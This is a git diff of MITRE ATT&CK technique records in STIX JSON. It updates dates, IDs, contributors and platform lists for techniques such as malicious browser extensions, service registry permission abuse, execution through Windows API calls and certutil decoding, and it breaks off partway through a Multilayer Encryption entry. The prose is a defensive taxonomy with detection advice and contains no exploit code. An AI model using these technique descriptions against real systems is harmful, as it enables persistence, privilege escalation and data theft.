+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Browser Extensions",
+            "description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control  (Citation: Chrome Extension C2 Malware).\n\nDetection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may would prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions\n\nPermissions Required: User\n\nContributors: Justin Warner, ICEBRG",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "collection"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "persistence"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1176",
+                    "external_id": "T1176"
+                },
+                {
+                    "source_name": "Wikipedia Browser Extension",
+                    "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.",
+                    "url": "https://en.wikipedia.org/wiki/Browser%20extension"
+                },
+                {
+                    "source_name": "Chrome Extensions Definition",
+                    "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.",
+                    "url": "https://developer.chrome.com/extensions"
+                },
+                {
+                    "source_name": "Malicious Chrome Extension Numbers",
+                    "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.",
+                    "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf"
+                },
+                {
+                    "source_name": "Chrome Extension Crypto Miner",
+                    "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.",
+                    "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/"
+                },
+                {
+                    "source_name": "Banker Google Chrome Extension Steals Creds",
+                    "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.",
+                    "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/"
+                },
+                {
+                    "source_name": "Catch All Chrome Extension",
+                    "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.",
+                    "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)"
+                },
+                {
+                    "source_name": "Stantinko Botnet",
+                    "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.",
+                    "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/"
+                },
+                {
+                    "source_name": "Chrome Extension C2 Malware",
+                    "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.",
+                    "url": "https://kjaer.io/extension-malware/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Justin Warner, ICEBRG"
+            ],
+            "x_mitre_data_sources": [
+                "Network protocol analysis",
+                "Packet capture",
+                "System calls",
+                "Process use of network",
+                "Process monitoring",
+                "Browser extensions"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670.json b/enterprise-attack/attack-pattern/attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670.json
index 11c856e6f6..4392fcd9b7 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--778f1b4f-f34b-45ec-98d5-ee5941b3a0b5",
+    "id": "bundle--fa048e0b-441c-4afb-a596-5d62a8d7a1ab",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:17.472Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Execution through API",
-            "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n*CreateProcessA() and CreateProcessW(),\n*CreateProcessAsUserA() and CreateProcessAsUserW(),\n*CreateProcessInternalA() and CreateProcessInternalW(),\n*CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n*LoadLibraryA() and LoadLibraryW(),\n*LoadLibraryExA() and LoadLibraryExW(),\n*LoadModule(),\n*LoadPackagedLibrary(),\n*WinExec(),\n*ShellExecuteA() and ShellExecuteW(),\n*ShellExecuteExA() and ShellExecuteExW()\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Stefan Kanthak",
+            "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n*CreateProcessA() and CreateProcessW(),\n*CreateProcessAsUserA() and CreateProcessAsUserW(),\n*CreateProcessInternalA() and CreateProcessInternalW(),\n*CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n*LoadLibraryA() and LoadLibraryW(),\n*LoadLibraryExA() and LoadLibraryExW(),\n*LoadModule(),\n*LoadPackagedLibrary(),\n*WinExec(),\n*ShellExecuteA() and ShellExecuteW(),\n*ShellExecuteExA() and ShellExecuteExW()\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Stefan Kanthak",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -50,18 +50,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_remote_support": false
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427.json b/enterprise-attack/attack-pattern/attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427.json
index 33f9fec658..c495ba4199 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--422340a6-8bb0-4dec-a888-886cc22ba7f6",
+    "id": "bundle--c4e70805-98bd-429f-9539-8c208cca5d8f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:49.119Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Service Registry Permissions Weakness",
-            "description": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nDetection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path is changed to a location that is not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Process command-line parameters, Services, Windows Registry\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Ability to modify a service binPath/ImagePath value in the Registry",
+            "description": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nDetection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path is changed to a location that is not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Services, Windows Registry\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Ability to modify a service binPath/ImagePath value in the Registry\n\nContributors: Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -41,6 +41,9 @@
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Travis Smith, Tripwire"
+            ],
             "x_mitre_data_sources": [
                 "Process command-line parameters",
                 "Services",
@@ -54,18 +57,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Ability to modify a service binPath/ImagePath value in the Registry"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d.json b/enterprise-attack/attack-pattern/attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d.json
index 8c7162ff12..2ef8927642 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d6d586dd-3c64-405b-a487-2dab43cb6472",
+    "id": "bundle--0e14b1ca-40e6-4b5e-a79f-854e958a3b38",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:31.197Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Custom Cryptographic Protocol",
-            "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)\n\nDetection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
+            "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)\n\nDetection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -51,21 +51,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4.json b/enterprise-attack/attack-pattern/attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4.json
index 0e30c1de0b..cba06a46b6 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e1f9fe60-d12b-4ab2-a50e-96c283069223",
+    "id": "bundle--6497f6fc-0abc-4cd0-a197-b98536aaf849",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,13 +8,17 @@
             "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:08.977Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Replication Through Removable Media",
-            "description": "Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Removable media allowed, Autorun enabled or vulnerability present that allows for code execution",
+            "description": "Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Removable media allowed, Autorun enabled or vulnerability present that allows for code execution",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
                     "phase_name": "lateral-movement"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "credential-access"
                 }
             ],
             "external_references": [
@@ -35,18 +39,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Removable media allowed, Autorun enabled or vulnerability present that allows for code execution"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5.json b/enterprise-attack/attack-pattern/attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5.json
index b84a2c4fef..830f692c9e 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0dcb940a-6664-4b1e-bf54-23303e6d49d0",
+    "id": "bundle--400270ab-b645-4bd0-9813-cb23abae507b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:20.537Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data from Local System",
-            "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.\n\nAdversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access certain files and directories",
+            "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.\n\nAdversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access certain files and directories",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -33,21 +33,9 @@
                 "Process command-line parameters"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Privileges to access certain files and directories"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c.json b/enterprise-attack/attack-pattern/attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c.json
index 1beacf007e..440bcb4893 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a287a0f7-bd60-4e85-9a58-2bb4d3376f69",
+    "id": "bundle--b51c8d15-95f6-4e29-9c30-8050d4fcd591",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Deobfuscate/Decode Files or Information",
-            "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nDetection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
+            "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nDetection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -50,18 +50,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e.json b/enterprise-attack/attack-pattern/attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e.json
index 35f47e1e65..9c1efbc910 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6a5ba5f7-95e0-4e7b-b25c-ff0cc1af06e9",
+    "id": "bundle--bc068e58-1603-4bf7-b098-c179ec997cbc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:01.315Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Multilayer Encryption",
